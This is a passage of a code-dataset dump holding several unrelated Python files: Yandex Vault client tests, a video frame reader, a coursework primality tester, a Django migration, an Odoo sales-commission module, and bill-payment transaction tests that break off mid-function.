\"ver-01e6zwtfgen5w925z9qztr9hcv\",\n    }\n\n\nasync def test_raises_for_access_error(mock_versions, yav):\n    mock_versions(\n        \"sec-01e6zwtfg5g4b727yq4w3qvnz4\",\n        json_response(\n            data={\n                \"api_request_id\": \"1f5f212bd9603059226f0dfeb72407e9\",\n                \"code\": \"access_error\",\n                \"environment\": \"production\",\n                \"hostname\": \"vault-v4.passport.yandex.net\",\n                \"message\": \"Access denied\",\n                \"status\": \"error\",\n            },\n            status=401,\n        ),\n    )\n\n    with pytest.raises(AccessError) as exc_info:\n        await yav.retrieve_secret_head(\"sec-01e6zwtfg5g4b727yq4w3qvnz4\")\n\n    assert exc_info.value.args[0] == {\n        \"api_request_id\": \"1f5f212bd9603059226f0dfeb72407e9\",\n        \"code\": \"access_error\",\n        \"environment\": \"production\",\n        \"hostname\": \"vault-v4.passport.yandex.net\",\n        \"message\": \"Access denied\",\n        \"status\": \"error\",\n    }\n\n\nasync def test_raises_for_invalid_uuid(mock_versions, yav):\n    mock_versions(\n        \"sec-01e6zwtfg5g4b727yq4w3qvnz\",\n        json_response(\n            data={\n                \"api_request_id\": \"f77daa307409ea959de04a9b3ef806e3\",\n                \"code\": \"invalid_uuid_value\",\n                \"environment\": \"production\",\n                \"hostname\": \"vault-v2.passport.yandex.net\",\n                \"message\": \"u'01e6zwtfg5g4b727yq4w3qvnz' is an invalid UUID value\",\n                \"status\": \"error\",\n            },\n            status=400,\n        ),\n    )\n\n    with pytest.raises(InvalidUUID) as exc_info:\n        await yav.retrieve_secret_head(\"sec-01e6zwtfg5g4b727yq4w3qvnz\")\n\n    assert exc_info.value.args[0] == {\n        \"api_request_id\": \"f77daa307409ea959de04a9b3ef806e3\",\n        \"code\": \"invalid_uuid_value\",\n        \"environment\": \"production\",\n        \"hostname\": \"vault-v2.passport.yandex.net\",\n        \"message\": \"u'01e6zwtfg5g4b727yq4w3qvnz' is an invalid UUID value\",\n        \"status\": \"error\",\n    }\n\n\nasync def test_raises_for_invalid_oauth_token(mock_versions, make_yav):\n    yav = await make_yav(\"wrong_token\")\n    mock_versions(\n        \"sec-01e6zwtfg5g4b727yq4w3qvnz3\",\n        json_response(\n            data={\n                \"api_request_id\": \"5207955f647d8beaf63ee3180b9fdee8\",\n                \"blackbox_error\": \"expired_token\",\n                \"code\": \"invalid_oauth_token_error\",\n                \"environment\": \"production\",\n                \"hostname\": \"vault-s5.passport.yandex.net\",\n                \"message\": \"Invalid oauth token\",\n                \"status\": \"error\",\n            },\n            status=401,\n        ),\n    )\n\n    with pytest.raises(InvalidOAuthToken) as exc_info:\n        await yav.retrieve_secret_head(\"sec-01e6zwtfg5g4b727yq4w3qvnz3\")\n\n    assert exc_info.value.args[0] == {\n        \"api_request_id\": \"5207955f647d8beaf63ee3180b9fdee8\",\n        \"blackbox_error\": \"expired_token\",\n        \"code\": \"invalid_oauth_token_error\",\n        \"environment\": \"production\",\n        \"hostname\": \"vault-s5.passport.yandex.net\",\n        \"message\": \"Invalid oauth token\",\n        \"status\": \"error\",\n    }\n\n\nsuccess_response = {\n    \"status\": \"ok\",\n    \"version\": {\n        \"comment\": \"\",\n        \"created_at\": 1588060831.246,\n        \"created_by\": 1120000000098712,\n        \"creator_login\": \"sivakov512\",\n        \"secret_name\": \"aioyav-example\",\n        \"secret_uuid\": \"sec-01e6zwtfg5g4b727yq4w3qvnz3\",\n        \"value\": [\n            {\"key\": \"key_one\", \"value\": \"some value\"},\n            {\"key\": \"100\", \"value\": \"500\"},\n            {\"key\": \"key-two\", \"value\": \"another\\nvalue\"},\n        ],\n        \"version\": \"ver-01e6zwtfgen5w925z9qztr9hcv\",\n    },\n}\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/test_retrieve_secret_head.py","file_name":"test_retrieve_secret_head.py","file_ext":"py","file_size_in_byte":5279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19445001984","text":"\"\"\"\n    Contains functionality for video frame I/O.\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport cv2\nimport h5py\n\n\nclass FrameReader:\n    \"\"\"Base class for reading frames from a video source.\"\"\"\n\n    def __init__(self):\n        self.fps = 0\n        self.start_frame = 0\n        self.end_frame = 0\n        self.total_frames = 0\n        self.next_frame_number = 0\n\n        self.frame_shape = (0, 0, 0)\n        self.last_read_frame = None\n        self.frames_read = 0\n        self.read_errors = 0\n\n    def __init_subclass__(cls, **kwargs):\n        super().__init_subclass__(**kwargs)\n\n        if not hasattr(cls, \"read_frame\"):\n            raise NotImplementedError(\"Derived FrameReader must implement \"\n                                      \"read_frame() method.\")\n\n    def get_frame(self, frame_number=None):\n        \"\"\"Returns frame, frame_number, and timestamp while also\n        handling read errors.\"\"\"\n\n        if frame_number is None:\n            frame_number = self.next_frame_number\n\n        if not self.start_frame <= frame_number <= self.end_frame:\n            # Dummy values for if invalid frame is requested\n            frame = np.zeros(self.frame_shape).astype(np.uint8)\n            frame_number = -1\n            timestamp = \"00:00:00.000\"\n\n        else:\n            # Subclass must implement this method\n            frame = self.read_frame(frame_number)\n            timestamp = self.frame_number_to_timestamp(frame_number)\n\n            if frame is None:\n                frame = self.last_read_frame\n                self.read_errors += 1\n            else:\n                self.frame_shape = frame.shape\n                self.last_read_frame = frame\n                self.frames_read += 1\n\n        return frame, frame_number, timestamp\n\n    def get_n_frames(self, n):\n        \"\"\"Calls get_frame in batches of N, returning as lists.\"\"\"\n\n        frames, frame_numbers, timestamps = [], [], []\n        for _ in range(n):\n            frame, frame_number, timestamp = self.get_frame()\n\n            frames.append(frame)\n            frame_numbers.append(frame_number)\n            timestamps.append(timestamp)\n\n        return frames, frame_numbers, timestamps\n\n    def frame_number_to_timestamp(self, frame_number):\n        \"\"\"Simple conversion to get timestamp from frame number.\n        Dependent on constant FPS assumption for source video file.\"\"\"\n\n        total_s = frame_number / self.fps\n        timestamp = pd.Timestamp(\"00:00:00.000\") + pd.Timedelta(total_s, 's')\n        timestamp = timestamp.round(freq='us')\n\n        return timestamp\n\n\nclass HDF5Reader(FrameReader):\n    \"\"\"Subclass using HDF5 data container as frame source.\"\"\"\n\n    def __init__(self, filepath, start=0, end=0):\n        super().__init__()\n\n        # Set file object using filepath for reading frames\n        self.filepath = filepath\n        self.hdf5_file = h5py.File(str(filepath), \"r\")\n        self.dset = self.hdf5_file[\"VideoFrames\"]\n\n        # Attempt to read attributes from HDF5 group or dataset\n        if len(self.hdf5_file.attrs) > 0:\n            attrs = self.hdf5_file.attrs\n        elif len(self.dset.attrs) > 0:\n            attrs = self.dset.attrs\n        else:\n            raise RuntimeError(\"Passed HDF5 dataset does not contain attrs.\")\n\n        self.fps = attrs.get(\"CAP_PROP_FPS\")\n\n        # Set start/end frame numbers, or default if not properly passed\n        self.start_frame = start\n        if end > 0:\n            self.end_frame = end\n        else:\n            self.end_frame = int(attrs.get(\"CAP_PROP_FRAME_COUNT\"))\n\n        self.next_frame_number = self.start_frame\n        self.total_frames = self.end_frame - self.start_frame\n\n    def read_frame(self, frame_number, increment=True):\n        \"\"\"Read frame from HDF5 container, fulfills constraint from\n        base class.\"\"\"\n\n        try:\n            encoded_frame = self.dset[frame_number]\n            frame = cv2.imdecode(encoded_frame, cv2.IMREAD_COLOR)\n        except ValueError as e:\n            print(e)\n            print(\"HDF5Reader returning empty frame instead.\")\n            frame = None\n\n        if increment:\n            self.next_frame_number += 1\n\n        return frame\n\n\nclass VideoReader(FrameReader):\n    \"\"\"Subclass using OpenCV's VideoCapture as frame source.\"\"\"\n\n    def __init__(self, filepath, end):\n        super().__init__()\n\n        # Set file object using filepath for reading frames\n        self.filepath = filepath\n        self.vid_cap = cv2.VideoCapture(str(filepath))\n        self.vid_cap.grab()  # Load first frame so retrieve() won't fail\n\n        self.fps = self.vid_cap.get(cv2.CAP_PROP_FPS)\n        self.start_frame = 0\n        if end > 0:\n            self.end_frame = end\n        else:\n            self.end_frame = int(self.vid_cap.get(cv2.CAP_PROP_FRAME_COUNT))\n\n        self.next_frame_number = self.start_frame\n        self.total_frames = self.end_frame - self.start_frame\n\n    def read_frame(self, frame_number, increment=True):\n        \"\"\"Read frame from video file, fulfills constraint from base\n        class.\"\"\"\n\n        _, frame = self.vid_cap.retrieve()\n\n        if increment:\n            self.vid_cap.grab()\n            self.next_frame_number += 1\n\n        return frame\n","repo_name":"joshuacwnewton/swiftwatcher","sub_path":"swiftwatcher/io_video.py","file_name":"io_video.py","file_ext":"py","file_size_in_byte":5180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25790001655","text":"from random import randrange\nimport math\n\n##where the two algorithms diasgree-- the algorithms will produce different outputs when provided with\n##a carmichael number, and a low value of k (high values of k will provide a high probability of true negative results for Fermat, and r!=1).\n##disagreement for non-carmichael composite numbers can occur at small values of k, since false positives can still occur with\n##probability 1/2^k (Fermat) and 1/4^k (MR). for this second case, i set k=1 and played around with some small composite\n##numbers like 2,4, and 6. after running several trials, a few false passes occurred, especially with Fermat's\n\ndef prime_test(N, k):\n\n    return fermat(N,k), miller_rabin(N,k)\n\n\ndef mod_exp(x, y, N):\n\n    if y == 0: #typical base case\n        return 1\n\n    z = mod_exp(x, math.floor(y / 2), N) #recursively seek the modulus of square root (x^y)\n\n    if y % 2 == 0: #if even, simply return z^2 mod n\n        return z ** 2 % N\n\n    else: #if odd, scale z^2 by x and then find the modulus\n        return x * (z ** 2) % N\n\n\ndef fprobability(k):\n\n    return (1 - ((1 / 2) ** k)) #return the complement of the probability of each k returning a false positive, (1/2)^K, under Fermat's\n\ndef mprobability(k):\n\n    return (1 - ((1 / 4) ** k)) #same as above, but for a false positive under Miller-Rubin, (1/4)^K\n\n\ndef fermat(N,k):\n\n    klist = [] #create array for randomly generate integers ki\n    evallist = [] #create array to store all values of r\n\n    for ki in range(1, k + 1, 1): #find k random values where 0<k<N, and add them to previously initiated list\n        ki = randrange(1,N - 1)\n        klist.append(ki)\n\n    for kj in klist: #iterate through list of ki values\n\n        sub = mod_exp(kj, N - 1, N) #call mod exp function, store r value\n\n        if sub == 1: #store r as a binary true = 1 if r = 1\n            evalk = 1\n\n        else: #if r != 1, store as a binary false 0\n            evalk = 0\n\n        evallist.append(evalk)\n\n    if sum(evallist) == k: #if every value in the list of results == 1, a number is prime with probability 1 - (1/2)^k\n        mprobability(k) #call function to determine probability of a true prime\n        return \"prime\"\n\n    else:\n        return \"composite\" #if values dont all == 1, the number is definitionally composite\n\n\ndef miller_rabin(N,k):\n\n    klist = [] #init list for random ki values as with Fermat()\n\n    for ki in range(1, k + 1, 1): #assign random values\n        ki = randrange(1, N - 1)\n        klist.append(ki)\n\n    for a in klist: #iterate through k values\n\n        sub = mod_exp(a, N - 1, N) #first, check modular exp remainder as usual\n\n        if sub == 1 or sub == -1: #if Fermat's passes, use miller rabin to weed out carmichael numbers\n            primality = modexpMRT(a, N - 1, N) #this function will return the result of successive square roots, and this variable's value will return the true primality\n\n            if primality == \"composite\": #return composite if necessary\n                return \"composite\"\n\n        else: #no need to perform miller rabin check, number has already proven composite\n            return \"composite\"\n\n    mprobability(k) #if the function hasnt returned anything yet, the function is prime. check the probability that this a truly a prime\n\n    return \"prime\" #once both tests have run, the fallback is that the number N is prime\n\n\ndef modexpMRT(x, y, N): #this is an external function that will only be called if primality needs to be proved past Fermat's\n\n    zsqrt = y #init the base case of the while loop; this is the exponent in the modexp\n\n    while zsqrt % 2 == 0: #the while loop will terminate when the exponent becomes odd\n\n        zsqrt = zsqrt / 2 #divide exponent by 2\n\n        sub = mod_exp(x, zsqrt, N) #call modexp\n\n        if sub != 1 and sub != (N - 1): #return composite if r = 1 or -1\n            return \"composite\"\n\n","repo_name":"tsundwall/algorithms","sub_path":"fermat.py","file_name":"fermat.py","file_ext":"py","file_size_in_byte":3868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17481471365","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport mkt.site.models\nfrom django.conf import settings\nimport uuidfield.fields\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='File',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('created', models.DateTimeField(auto_now_add=True)),\n                ('modified', models.DateTimeField(auto_now=True)),\n                ('filename', models.CharField(default=b'', max_length=255)),\n                ('size', models.PositiveIntegerField(default=0)),\n                ('hash', models.CharField(default=b'', max_length=255)),\n                ('status', models.PositiveSmallIntegerField(default=2, db_index=True, choices=[(0, 'Incomplete'), (16, 'Unlisted'), (2, 'Pending approval'), (4, 'Published'), (5, 'Banned from Marketplace'), (11, 'Deleted'), (12, 'Rejected'), (13, 'Approved but private'), (15, 'Blocked')])),\n                ('datestatuschanged', models.DateTimeField(auto_now_add=True, null=True)),\n                ('reviewed', models.DateTimeField(null=True)),\n                ('uses_flash', models.BooleanField(default=False, db_index=True)),\n            ],\n            options={\n                'abstract': False,\n                'db_table': 'files',\n                'get_latest_by': 'created',\n            },\n            bases=(mkt.site.models.OnChangeMixin, models.Model),\n        ),\n        migrations.CreateModel(\n            name='FileUpload',\n            fields=[\n                ('created', models.DateTimeField(auto_now_add=True)),\n                ('modified', models.DateTimeField(auto_now=True)),\n                ('uuid', uuidfield.fields.UUIDField(primary_key=True, serialize=False, editable=False, max_length=32, blank=True, unique=True)),\n                ('path', models.CharField(default=b'', max_length=255)),\n                ('name', models.CharField(default=b'', help_text=b\"The user's original filename\", max_length=255)),\n                ('hash', models.CharField(default=b'', max_length=255)),\n                ('valid', models.BooleanField(default=False)),\n                ('validation', models.TextField(null=True)),\n                ('task_error', models.TextField(null=True)),\n                ('user', models.ForeignKey(to=settings.AUTH_USER_MODEL, null=True)),\n            ],\n            options={\n                'abstract': False,\n                'db_table': 'file_uploads',\n                'get_latest_by': 'created',\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='FileValidation',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('created', models.DateTimeField(auto_now_add=True)),\n                ('modified', models.DateTimeField(auto_now=True)),\n                ('valid', models.BooleanField(default=False)),\n                ('errors', models.IntegerField(default=0)),\n                ('warnings', models.IntegerField(default=0)),\n                ('notices', models.IntegerField(default=0)),\n                ('validation', models.TextField()),\n                ('file', models.OneToOneField(related_name='validation', to='files.File')),\n            ],\n            options={\n                'db_table': 'file_validation',\n            },\n            bases=(models.Model,),\n        ),\n    ]\n","repo_name":"mozilla/zamboni","sub_path":"mkt/files/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":3661,"program_lang":"python","lang":"en","doc_type":"code","stars":476,"dataset":"github-code","pt":"3"}
+{"seq_id":"42749061000","text":"# -*- coding: utf-8 -*-\n#from openerp import models, fields, api\n#from openerp.exceptions import UserError, ValidationError\nfrom odoo import models, fields, api\nfrom odoo.exceptions import UserError, ValidationError\nimport datetime\nfrom datetime import date\nfrom dateutil.relativedelta import relativedelta\n\n\nclass SaleOrder(models.Model):\n    _inherit = \"sale.order\"\n\n    commission_manager_id = fields.Many2one(\n        'sales.commission.line',\n        string='Sales Commission for Manager'\n    )\n    commission_person_id = fields.Many2one(\n        'sales.commission.line',\n        string='Sales Commission for Member'\n    )\n\n    #@api.multi\n    def get_categorywise_commission(self):\n        sum_line_manager = []\n        sum_line_person = []\n        amount_person = amount_manager = 0.0\n        for order in self:\n            for line in order.order_line:\n                commission_type = line.product_id.categ_id.commission_type\n                if commission_type:\n                    if line.product_id.categ_id.commission_range_ids:\n                        sales_manager_commission = 0.0\n                        sales_person_commission = 0.0\n                        total = line.price_subtotal\n                        if line.order_id.company_id.currency_id != line.order_id.currency_id:\n                            amount = line.order_id.currency_id.compute(line.price_subtotal, line.order_id.company_id.currency_id)\n                            total = amount\n    \n                        for range in line.product_id.categ_id.commission_range_ids:\n                            if total >= range.starting_range and total <=  range.ending_range:#2500 0 - 5000\n                                if commission_type == 'fix':\n                                    sales_manager_commission = range.sales_manager_commission_amount\n                                    sales_person_commission = range.sales_person_commission_amount\n                                else:\n                                    sales_manager_commission = (line.price_subtotal * range.sales_manager_commission)/100\n                                    sales_person_commission = (line.price_subtotal * range.sales_person_commission)/100\n                        sum_line_manager.append(sales_manager_commission)\n                        sum_line_person.append(sales_person_commission)\n\n        amount_manager = sum(sum_line_manager)\n        amount_person = sum(sum_line_person)\n        return amount_person, amount_manager\n\n    #@api.multi\n    def get_productwise_commission(self):\n        sum_line_manager = []\n        sum_line_person = []\n        amount_person = amount_manager = 0.0\n        for order in self:\n            for line in order.order_line:\n                commission_type = line.product_id.commission_type\n                if commission_type:\n                    if line.product_id.commission_range_ids:\n                        sales_manager_commission = 0.0\n                        sales_person_commission = 0.0\n                        total = line.price_subtotal\n                        if line.order_id.company_id.currency_id != line.order_id.currency_id:\n                            amount = line.order_id.currency_id.compute(line.price_subtotal, line.order_id.company_id.currency_id)\n                            total = amount\n                            \n                        for range in line.product_id.commission_range_ids:\n                            if total >= range.starting_range and total <=  range.ending_range:#2500 0 - 5000\n                                if commission_type == 'fix':\n                                    sales_manager_commission = range.sales_manager_commission_amount\n                                    sales_person_commission = range.sales_person_commission_amount\n                                else:\n                                    sales_manager_commission = (line.price_subtotal * range.sales_manager_commission)/100\n                                    sales_person_commission = (line.price_subtotal * range.sales_person_commission)/100\n                        sum_line_manager.append(sales_manager_commission)\n                        sum_line_person.append(sales_person_commission)\n\n        amount_manager = sum(sum_line_manager)\n        amount_person = sum(sum_line_person)\n        return amount_person, amount_manager\n\n    #@api.multi\n    def get_teamwise_commission(self):\n        sum_line_manager = []\n        sum_line_person = []\n        amount_person = amount_manager = 0.0\n        for order in self:\n\n            commission_type = order.team_id.commission_type\n            if commission_type:\n                if order.team_id.commission_range_ids:\n                    sales_manager_commission = 0.0\n                    sales_person_commission = 0.0\n                    total = order.amount_untaxed\n                    if order.company_id.currency_id != order.currency_id:\n                        amount = order.currency_id.compute(order.amount_untaxed, order.company_id.currency_id)\n                        total = amount\n\n                    for range in order.team_id.commission_range_ids:\n                        if total >= range.starting_range and total <=  range.ending_range:#2500 0 - 5000\n                            if commission_type == 'fix':\n                                sales_manager_commission = range.sales_manager_commission_amount\n                                sales_person_commission = range.sales_person_commission_amount\n                            else:\n                                sales_manager_commission = (order.amount_untaxed * range.sales_manager_commission)/100\n                                sales_person_commission = (order.amount_untaxed * range.sales_person_commission)/100\n\n                    amount_manager = sales_manager_commission\n                    amount_person = sales_person_commission\n        return amount_person, amount_manager\n\n    #@api.multi\n    def create_commission(self, amount,commission,type):\n        commission_obj = self.env['sales.commission.line']\n        product = self.env['product.product'].search([('is_commission_product','=',1)],limit=1)\n        for order in self:\n            #Salesperson\n            if amount != 0.0:\n                commission_value = {\n                    #'sales_team_id': order.team_id.id,\n                    #'commission_user_id': order.user_id.id,\n                    'amount': amount,\n                    'origin': order.name,\n                    'type':type,\n                    'product_id': product.id,\n#                    'date' : order.confirmation_date,\n                    'date' : order.date_order,\n                    'src_order_id': order.id,\n                    'sales_commission_id':commission.id,\n                    'sales_team_id': order.team_id and order.team_id.id or False,\n                    'company_id': order.company_id.id,\n                    'currency_id': order.company_id.currency_id.id,\n                }\n                commission_id = commission_obj.create(commission_value)\n                if type == 'sales_person':\n                    order.commission_person_id = commission_id.id\n                if type == 'sales_manager':\n                    order.commission_manager_id = commission_id.id\n        return True\n\n    #@api.multi\n    def create_base_commission(self, type):\n        commission_obj = self.env['sales.commission']\n        product = self.env['product.product'].search([('is_commission_product','=',1)],limit=1)\n        for order in self:\n            if type == 'sales_person':\n                user = order.user_id.id\n            if type == 'sales_manager':\n                user = order.team_id.user_id.id\n\n            first_day_tz, last_day_tz = self.env['sales.commission']._get_utc_start_end_date()\n            commission_value = {\n                    'start_date' : first_day_tz,\n                    'end_date': last_day_tz,\n                    'product_id':product.id,\n                    'commission_user_id': user,\n                    'company_id': order.company_id.id,\n                    'currency_id': order.currency_id.id,\n                }\n            commission_id = commission_obj.create(commission_value)\n        return commission_id\n\n    #@api.multi\n    def action_confirm(self):\n        res = super(SaleOrder, self).action_confirm()\n        when_to_pay = self.env.company.when_to_pay\n        if  when_to_pay == 'sales_confirm':\n            for order in self:\n                commission_based_on = order.company_id.commission_based_on if order.company_id else self.env.company.commission_based_on\n                if commission_based_on == 'sales_team':\n                    amount_person, amount_manager = order.get_teamwise_commission()\n                elif commission_based_on == 'product_category':\n                    amount_person, amount_manager = order.get_categorywise_commission()\n                elif commission_based_on == 'product_template':\n                    amount_person, amount_manager = order.get_productwise_commission()\n\n                #Sale Person\n                commission = self.env['sales.commission'].search([\n                    ('commission_user_id', '=', order.user_id.id),\n                    ('start_date', '<', order.date_order),\n                    ('end_date', '>', order.date_order),\n                    ('state', '=', 'draft'),\n                    ('company_id', '=', order.company_id.id),\n                    ], limit=1)\n                if not commission:\n                    commission = order.create_base_commission(type='sales_person')\n                order.create_commission(amount_person, commission, type='sales_person')\n\n                #Sale Manager\n                if not order.user_id.id == order.team_id.user_id.id and order.team_id.user_id:\n                    commission = self.env['sales.commission'].search([\n                        ('commission_user_id', '=', order.team_id.user_id.id),\n                        ('start_date', '<', order.date_order),\n                        ('end_date', '>', order.date_order),\n                        ('state', '=', 'draft'),\n                        ('company_id', '=', order.company_id.id),\n                        ],limit=1)\n                    if not commission:\n                        commission = order.create_base_commission(type='sales_manager')\n                    order.create_commission(amount_manager,commission, type='sales_manager')\n                #order.create_commission(amount_person, amount_manager)\n        return res\n    \n    #@api.multi\n    def action_cancel(self):\n        res = super(SaleOrder, self).action_cancel()\n        for rec in self:\n            if rec.commission_manager_id:\n                rec.commission_manager_id.state = 'exception'\n            if rec.commission_person_id:\n                rec.commission_person_id.state = 'exception'\n        return res\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","repo_name":"musaab123/backup_repo","sub_path":"real_estate_commission/models/sale.py","file_name":"sale.py","file_ext":"py","file_size_in_byte":10948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29285409257","text":"from dataclasses import replace\nfrom datetime import timedelta\n\nimport pytest\nimport yarl\n\nfrom sendr_utils import utcnow\n\nfrom hamcrest import assert_that, equal_to, match_equality, not_none\n\nfrom pay.bill_payments.bill_payments.core.actions.transaction.create import CreateTransactionAction\nfrom pay.bill_payments.bill_payments.core.entities.mpi_3ds_info import MPI3DSInfo\nfrom pay.bill_payments.bill_payments.core.exceptions import (\n    BillAlreadyPaidError,\n    CoreFailError,\n    MixedDepartmentsError,\n    OrderAlreadyPaidError,\n    OrderNotFoundError,\n    PaymentMethodNotSupportedError,\n)\nfrom pay.bill_payments.bill_payments.interactions.kazna import KaznaClient\nfrom pay.bill_payments.bill_payments.interactions.kazna.entities import (\n    TDS,\n    DepartmentType,\n    DeviceChannel,\n    MpiExtInfo,\n    PayerParams,\n    PaymentParams,\n    PayRequest,\n    PayResponse,\n    PayType,\n)\nfrom pay.bill_payments.bill_payments.interactions.kazna.exceptions import KaznaAPIError, KaznaAPIErrorCode\nfrom pay.bill_payments.bill_payments.storage.entities.bill import Bill\nfrom pay.bill_payments.bill_payments.storage.entities.bill_order import BillOrder\nfrom pay.bill_payments.bill_payments.storage.entities.enums import (\n    BillStatus,\n    OrderStatus,\n    PaymentMethodType,\n    TransactionStatus,\n)\nfrom pay.bill_payments.bill_payments.storage.entities.order import Order\nfrom pay.bill_payments.bill_payments.storage.entities.transaction import PayerData, Transaction\n\nTOTAL_AMOUNT = int((20000 + 30000 * 0.5) + 2000 * 2)  # 39000\n\n\n@pytest.fixture\nasync def first_bill(storage, user, document):\n    return await storage.bill.create(\n        Bill(\n            uid=user.uid,\n            supplier_bill_id='bill-1',\n            document_id=document.document_id,\n            dep_type=DepartmentType.GIBDD,\n            status=BillStatus.NEW,\n            amount=20000,\n            amount_to_pay=20000,\n            bill_date=utcnow(),\n        )\n    )\n\n\n@pytest.fixture\nasync def second_bill(storage, user, first_bill, document):\n    return await storage.bill.create(\n        replace(\n            first_bill,\n            supplier_bill_id='bill-2',\n            bill_id=None,\n            amount=30000,\n            amount_to_pay=30000,\n            discount_size='50',\n            discount_date=(utcnow() + timedelta(days=3)).date(),\n        )\n    )\n\n\n@pytest.fixture\nasync def order(storage, user, first_bill, second_bill):\n    order = await storage.order.create(Order(status=OrderStatus.NEW, uid=user.uid))\n\n    await storage.bill_order.create(BillOrder(order_id=order.order_id, bill_id=first_bill.bill_id))\n    await storage.bill_order.create(BillOrder(order_id=order.order_id, bill_id=second_bill.bill_id))\n\n    return order\n\n\n@pytest.fixture\ndef params(order):\n    return {\n        'uid': order.uid,\n        'order_id': order.order_id,\n        'payment_method': PaymentMethodType.YANDEX_PAY,\n        'payer_full_name': 'Иванов Иван Иванович',\n        'payment_token': 'TOKEN',\n        'mpi_3ds_info': MPI3DSInfo(\n            browser_accept_header='ACCEPT_HEADER',\n            browser_color_depth=24,\n            browser_ip='192.0.2.1',\n            browser_language='ru',\n            browser_screen_height=1080,\n            browser_screen_width=1920,\n            browser_tz='-180',\n            browser_user_agent='USER_AGENT',\n            browser_javascript_enabled=True,\n            window_width=640,\n            window_height=480,\n        ),\n        'return_url': 'https://return-url.test',\n    }\n\n\n@pytest.fixture(autouse=True)\ndef mock_kazna(mocker):\n    return mocker.patch.object(\n        KaznaClient,\n        'pay',\n        mocker.AsyncMock(\n            return_value=PayResponse(\n                payment_id=44444,\n                tds=TDS(\n                    acs_url='https://acs.test',\n                    creq='creq',\n                ),\n            )\n        ),\n    )\n\n\n@pytest.mark.asyncio\nasync def test_calls_kazna(params, mock_kazna, order, first_bill, second_bill):\n    transaction = await CreateTransactionAction(**params).run()\n\n    mock_kazna.assert_awaited_once_with(\n        PayRequest(\n            order_id=str(transaction.transaction_id),\n            kvit=False,\n            payer_params=PayerParams(fio='Иванов Иван Иванович'),\n            payment_params=PaymentParams(supplier_bill_id=[first_bill.supplier_bill_id, second_bill.supplier_bill_id]),\n            sign=None,\n            pay_type=PayType.YANDEXPAY,\n            dep_type=DepartmentType.GIBDD,\n            amount=TOTAL_AMOUNT,\n            mpi_ext_info=MpiExtInfo(\n                notification_url='https://notification.invalid',\n                browser_accept_header='ACCEPT_HEADER',\n                browser_color_depth=24,\n                browser_ip='192.0.2.1',\n                browser_language='ru',\n                browser_screen_height=1080,\n                browser_screen_width=1920,\n                browser_tz='-180',\n                browser_user_agent='USER_AGENT',\n                device_channel=DeviceChannel.BROWSER,\n                browser_java_enabled=True,\n                window_width=640,\n                window_height=480,\n                tds_notification_url='https://tds.notification.invalid',\n            ),\n            yp_token='TOKEN',\n            return_url='https://return-url.test',\n        )\n    )\n\n\n@pytest.mark.parametrize(\n    'yenv_type, infered_dep_type',\n    (\n        pytest.param('development', DepartmentType.GIBDD, id='development-should-fallback'),\n        pytest.param('testing', DepartmentType.GIBDD, id='development-should-fallback'),\n        pytest.param('production', DepartmentType.UNKNOWN, id='production-should-NOT-fallback'),\n        pytest.param('load', DepartmentType.UNKNOWN, id='load-should-NOT-fallback'),\n        pytest.param('sandbox', DepartmentType.UNKNOWN, id='sandbox-should-NOT-fallback'),\n    ),\n)\n@pytest.mark.asyncio\nasync def test_unknown_dep_fallbacks_to_gibdd(\n    mocker, storage, params, mock_kazna, order, first_bill, second_bill, yenv_type, infered_dep_type\n):\n    mocker.patch('yenv.type', yenv_type)\n    first_bill = await storage.bill.save(replace(first_bill, dep_type=DepartmentType.UNKNOWN))\n    second_bill = await storage.bill.save(replace(second_bill, dep_type=DepartmentType.UNKNOWN))\n\n    await CreateTransactionAction(**params).run()\n\n    [pay_request] = mock_kazna.call_args.args\n    assert_that(pay_request.dep_type, equal_to(infered_dep_type))\n\n\n@pytest.mark.asyncio\nasync def test_returns_transaction(params, order):\n    returned = await CreateTransactionAction(**params).run()\n\n    assert_that(\n        returned,\n        equal_to(\n            Transaction(\n                order_id=order.order_id,\n                status=TransactionStatus.NEW,\n                amount=TOTAL_AMOUNT,\n                external_payment_id='44444',\n                payer_data=PayerData(payer_full_name='Иванов Иван Иванович'),\n                transaction_id=match_equality(not_none()),\n                payment_method=PaymentMethodType.YANDEX_PAY,\n                acs_url=yarl.URL('https://acs.test?creq=creq'),\n                created=match_equality(not_none()),\n                updated=match_equality(not_none()),\n            ),\n        ),\n    )\n\n\n@pytest.mark.asyncio\nasync def test_stores_transaction_in_db(storage, params):\n    returned = await CreateTransactionAction(**params).run()\n\n    stored = await storage.transaction.get(returned.transaction_id)\n    stored.acs_url = returned.acs_url\n\n    assert_that(returned, equal_to(stored))\n\n\n@pytest.mark.asyncio\nasync def test_when_dep_types_are_mixed__raises_error(storage, params, second_bill):\n    second_bill = replace(second_bill, dep_type=DepartmentType.FNS)\n    second_bill = await storage.bill.save(second_bill)\n\n    with pytest.raises(MixedDepartmentsError):\n        await CreateTransactionAction(**params).run()\n\n\n@pytest.mark.parametrize('status', set(TransactionStatus) - {TransactionStatus.NEW, TransactionStatus.CANCELLED})\n@pytest.mark.asyncio\nasync def test_when_already_completed(storage, params, order, status):\n    transaction = await CreateTransactionAction(**params).run()\n    await storage.transaction.save(replace(transaction, status=status))\n\n    with pytest.raises(OrderAlreadyPaidError):\n        await CreateTransactionAction(**params).run()\n\n\n@pytest.mark.asyncio\nasync def test_cancels_previously_started_transactions(storage, params, order):\n    transaction = await CreateTransactionAction(**params).run()\n\n    await 